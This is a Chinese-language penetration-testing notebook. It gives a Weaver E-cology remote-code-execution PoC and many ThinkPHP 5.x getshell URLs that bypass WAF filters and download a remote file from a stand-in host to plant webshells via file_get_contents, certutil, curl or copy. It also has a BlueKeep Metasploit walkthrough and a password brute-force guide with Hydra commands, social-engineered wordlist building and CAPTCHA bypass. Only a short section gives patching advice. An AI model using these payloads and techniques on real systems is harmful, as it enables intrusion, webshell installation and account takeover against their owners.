2019年9月
泛微E-cology OA系统远程代码执行
漏洞路径:/weaver/bsh.servlet.BshServlet
poc:
bsh.script=exec("whoami");&bsh.servlet.captureOutErr=true& bsh.servlet.output=raw&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw
TP5.x.x各版本实战环境getshell
-5.1.18
http://www.xxxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1] [1]=<?=file_put_contents('index_bak2.php',file_get_contents('https://www.hack.com/xxx.js'));?>
-5.0.5
waf对eval进行了拦截
禁止了assert函数
对eval函数后面的括号进行了正则过滤
对file_get_contents函数后面的括号进行了正则过滤
http://www.xxxx.com/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=<?php /*1111*//***/file_put_contents/*1**/(/***/'index11.php'/**/,file_get_contents(/**/'https://www.hack.com/xxx.js'))/**/;/**/?>
-5.1.18
所有目录都无写权限,base64函数被拦截
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])
-5.0.18
windows
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo()
使用certutil
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=passthru&vars[1][0]=cmd /c certutil -urlcache -split -f https://www.hack.com/xxx.js uploads/1.php
由于根目录没写权限,所以写到uploads
-5.0.14
eval('')和assert('')被拦截,命令函数被禁止
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo();
http://www.xxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_GET[1])&1=call_user_func_array("file_put_contents",array("3.php",file_get_contents("https://www.hack.com/xxx.js")));
-5.0.11
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=curl https://www.hack.com/xxx.js -o ./upload/xxx.php
-5.0.14
php7.2
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.txt&vars[1][1]=1
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index111.php',file_get_contents('https://www.hack.com/xxx.js'));?>
写进去发现转义了尖括号
通过copy函数
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]= https://www.hack.com/xxx.js&vars[1][1]=112233.php
CVE-2019-0708微软远程桌面服务远程代码执行漏洞(BlueKeep)复现
漏洞背景
微软公司于2019年5月14日发布重要安全公告,其操作系统远程桌面(Remote Desktop Services),俗称的3389服务存在严重安全漏洞(编号CVE-2019-0708):攻击者在没有任何授权的情况下,可以远程直接攻击操作系统开放的3389服务,在受害主机上执行恶意攻击行为,包括安装后门,查看、篡改隐私数据,创建拥有完全用户权限的新账户,影响范围从Windows XP到Windows 2008 R2。由于3389服务应用广泛且该漏洞利用条件低,只要服务端口开放即可,导致该漏洞影响和危害程序堪比“WannaCry”。因此,微软额外为Windows XP、Windows 2003这些已经停止支持的系统发布了该漏洞的安全补丁。
CVE-2019-0708漏洞是通过检查用户的身份认证,导致可以绕过认证,不用任何的交互,直接通过rdp协议进行连接发送恶意代码执行命令到服务器中去。如果被攻击者利用,会导致服务器入侵,中病毒,像WannaCry 永恒之蓝漏洞一样大规模的感染。
就在2019年9月7日晚上凌晨1点左右,metaspolit更新了漏洞利用程序,可以对如下版本进行利用:
Windows 7 SP1 / 2008 R2 (6.1.7601 x64)
Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox)
Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare)
Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)
环境准备
靶机 win7
攻击机 kali-linux
利用过程
在kaili-linux 终端执行如下命令
cd /opt/metasploit-framework/embedded/framework/lib/msf/core/exploit/
wget https://raw.githubusercontent.com/rapid7/metasploit-framework/edb7e20221e2088497d1f61132db3a56f81b8ce9/lib/msf/core/exploit/rdp.rb
cd /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/rdp_scanner.rb
cd /opt/metasploit-framework/embedded/framework/modules/exploits/windows/rdp/
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/exploits/windows/rdp/cve_2019_0708_bluekeep_rce.rb
cd /opt/metasploit-framework/embedded/framework/modules/auxiliary/scanner/rdp/
wget https://github.com/rapid7/metasploit-framework/raw/edb7e20221e2088497d1f61132db3a56f81b8ce9/modules/auxiliary/scanner/rdp/cve_2019_0708_bluekeep.rb
启动metasploit reload_all 重新加载所有漏洞利用模块
搜索cve-2019-0708漏洞利用模块
search cve_2019_0708
使用cve_2019_0708_bluekeep_rce漏洞利用脚本
查看功能选项
设置目标机器
set RHOST 192.168.50.75
查看支持的主机版本
show targets
设置目标机器版本号
set targets 3
开始漏洞利用,成功远程命令执行。
受影响版本:而本次,Metasploit发布CVE-2019-0708(也称为BlueKeep)的初始公共漏洞模块exploit模块的初始PR仅针对64位版本的Windows 7和Windows 2008 R2。
1 Windows 7 SP1 / 2008 R2 (6.1.7601 x64) 2 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Virtualbox) 3 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - VMWare) 4 Windows 7 SP1 / 2008 R2 (6.1.7601 x64 - Hyper-V)
修复建议
有些windows2008系统打不了补丁的一般是数据中心版本,可以设置一下服务器,计算机右键属性-远程设置-仅允许运行使用网络基本身份验证的远程桌面的计算机连接(更安全)(N),在这行点勾,然后确认即可,可以临时的防止漏洞的攻击。
如果对补丁不知道该如何修复的,可以启用防火墙策略,禁止掉3389远程端口,只允许自己的IP通信即可。
1.Windows Server 2008 漏洞补丁系列下载地址
Windows Server 2008 32位系统:
Windows Server 2008 x64位系统:
Windows Server 2008 R2 Itanium系统:
Windows Server 2008 R2 x64系统:
Windows Server 2008 Itanium:
2.Windows Server 2003 漏洞补丁系列下载地址
Windows Server 2003 32位系统:
Windows Server 2003 64位系统:
3.Windows XP 漏洞补丁系列下载地址
Windows XP SP3 32位系统:
Windows XP SP2 64位系统:
Windows XP SP3 for XPe:
弱口令扫描介绍
1 弱口令
推荐 github 上的弱口令字典
https://github.com/Stardustsky/SaiDict
https://github.com/tennc/fuzzdb
得慢慢收集,临时找找不着
2 生成社工属性的弱口令
宗旨是生成能满足密码复杂度要求又好记的密码。
2.1 获取账号
获取用户账号的方式:
中国常用名 Top500,常见组合:
拼音的全拼+[数字]
姓全拼+名的首字母+[数字]
招聘网站
社交工具(脉脉)
Google hacking
工号
2.2 密码分片
用户个人信息相关
姓名、昵称、ID、QQ
生日,男/女友生日,特殊纪念日
手机号,男/女友手机号
父母亲人相关信息
公司相关信息(域名、邮箱、公司电话、部门等)
习惯习性
键盘分布,SHIFT+键盘布局
特殊节日、纪念日、年份
好记的数字组合、字母组合
好记的特殊字符组合
特殊含义的单词
特殊含义的字母数字替换(我-5,是-4,o-0)
2.3 组合方式
由被检查方提供一份经常使用的默认密码清单最好,下面是其他的一些组合方式:
有社工密码可以根据之前的密码使用历史记录针对性的生成组合。
部门的密码使用习惯,趋于一致。
有含义字符@有含义数字,如姓名全拼@2017。
下面一张图可以参考下
2.4 字典生成工具
白鹿社工字典生成器
项目地址:https://github.com/HongLuDianXue/BaiLu-SED-Tool
genpAss
项目地址:https://github.com/RicterZ/genpAss
3 弱口令相关服务
所有可能存在未授权访问类的服务
远程维护类服务(SSH、Tenlent、RDP 等);
数据库服务(MySQL、MSSQL、Oracle 、ES、MongoDB 等);
缓存类服务(Redis、Kafka);
大数据相关服务;
云环境各类接口、Docker 环境各类接口;
各种 Web 应用系统、手机程序、小程序等。
4 爆破工具
4.1 Burp Intruder
这个工具不多做说明,现在渗透测试可能经常遇到一些客户端 js 文件对密码做加密处理发送给服务端的情况,推荐扩展https://github.com/c0ny1/jsEncrypter
使用示例
步骤:
1.尝试登录,使用浏览器调试模式寻找加密函数所在的 js 文件,通常再调试模式下选取登录元素,搜索使用的函数信息;
2.通过检查推导调用关系找到最终使用的加密 js 文件;
3.将加密 js 文件下载到本地;
4.利用 jsEncrypter 的 js 摸板加载使用的加密函数;
5.使用 phantomjs 加载 jsEncrypter 的 js 摸板;
6.使用 Burp 的 jsEncrypter 扩展连接 phantomjs 开启的服务;
7.测试加密效果;
8.使用 Burp Intruder 的 payload 处理功能,加载 jsEncrypter 对明文密码处理后执行爆破。
基础的js脚本
/**
* author: c0ny1
* date: 2017-12-16
* last update: 2019-5-30 11:16
*/
var fs = require('fs');
var logfile = 'jsEncrypter.log';
var webserver = require('webserver');
server = webserver.create();
var host = '127.0.0.1';
var port = '1664';
// 加载实现加密算法的js脚本
var wasSuccessful = phantom.injectJs('md5.js');/*引入实现加密的js文件*/
// 处理函数
function js_encrypt(payload){
var newpayload;
/**********在这里编写调用加密函数进行加密的代码************/
var newpayload = hex_md5(payload)+"djmis";
/**********************************************************/
return newpayload;
}
if(wasSuccessful){
console.log("[*] load js successful");
console.log("[!] ^_^");
console.log("[*] jsEncrypterJS start!");
console.log("[+] address: http://"+host+":"+port);
}else{
console.log('[*] load js fail!');
}
var service = server.listen(host+':'+port,function(request, response){
try{
if(request.method == 'POST'){
var payload = request.post['payload'];
var encrypt_payload = js_encrypt(payload);
var log = payload + ':' + encrypt_payload;
console.log('[+] ' + log);
fs.write(logfile,log + '\n', 'w+');
response.statusCode = 200;
response.write(encrypt_payload.toString());
response.close();
}else{
response.statusCode = 200;
response.write("^_^\n\rhello jsEncrypter!");
response.close();
}
}catch(e){
//console.log('[Error]'+e.message+' happen '+e.line+'line');
console.log('\n-----------------Error Info--------------------')
var fullMessage = "Message: "+e.toString() + ':'+ e.line;
for (var p in e) {
fullMessage += "\n" + p.toUpperCase() + ": " + e[p];
}
console.log(fullMessage);
console.log('---------------------------------------------')
console.log('[*] phantomJS exit!')
phantom.exit();
}
});
效果
4.2 Hydra
项目地址:https://github.com/vanhauser-thc/thc-hydra
使用-h获取使用帮助,提供几个使用示例
hydra -l admin -p password ftp://localhost/
hydra -L default_logins.txt -p test ftp://localhost/
hydra -l admin -P common_passwords.txt ftp://localhost/
hydra -L logins.txt -P passwords.txt ftp://localhost/
hydra 爆破 HTTP 请求
hydra -l admin -p password 192.168.43.131 http-post-form "/login.php:username=^USER^&password=^PASS^&Login=Login:F=Username and/or password incorrect."
4.3 超级弱口令检查工具
项目地址:https://github.com/shack2/SNETCracker
图形界面
5 验证码处理
5.1 Burp reCAPTCHA
项目地址:https://github.com/bit4woo/reCAPTCHA
利用第三方识别服务,效果
5.2 脚本爆破
最好是寻找不用验证码的登录入口,可能是手机端的登录入口,老的登录入口、小程序、APP 等的登录入口,最终没办法考虑自写脚本爆破。
几种方式:
1.利用图像识别接口,效果好费用高;
2.机器学习,效果较好,训练时间长;
3.利用 tesserocr,不依赖服务端,效果差些,如果训练的话,效果会好些。
可以参考:
https://blog.csdn.net/weixin_38374974/article/details/80152899
https://blog.csdn.net/u013154398/article/details/86571944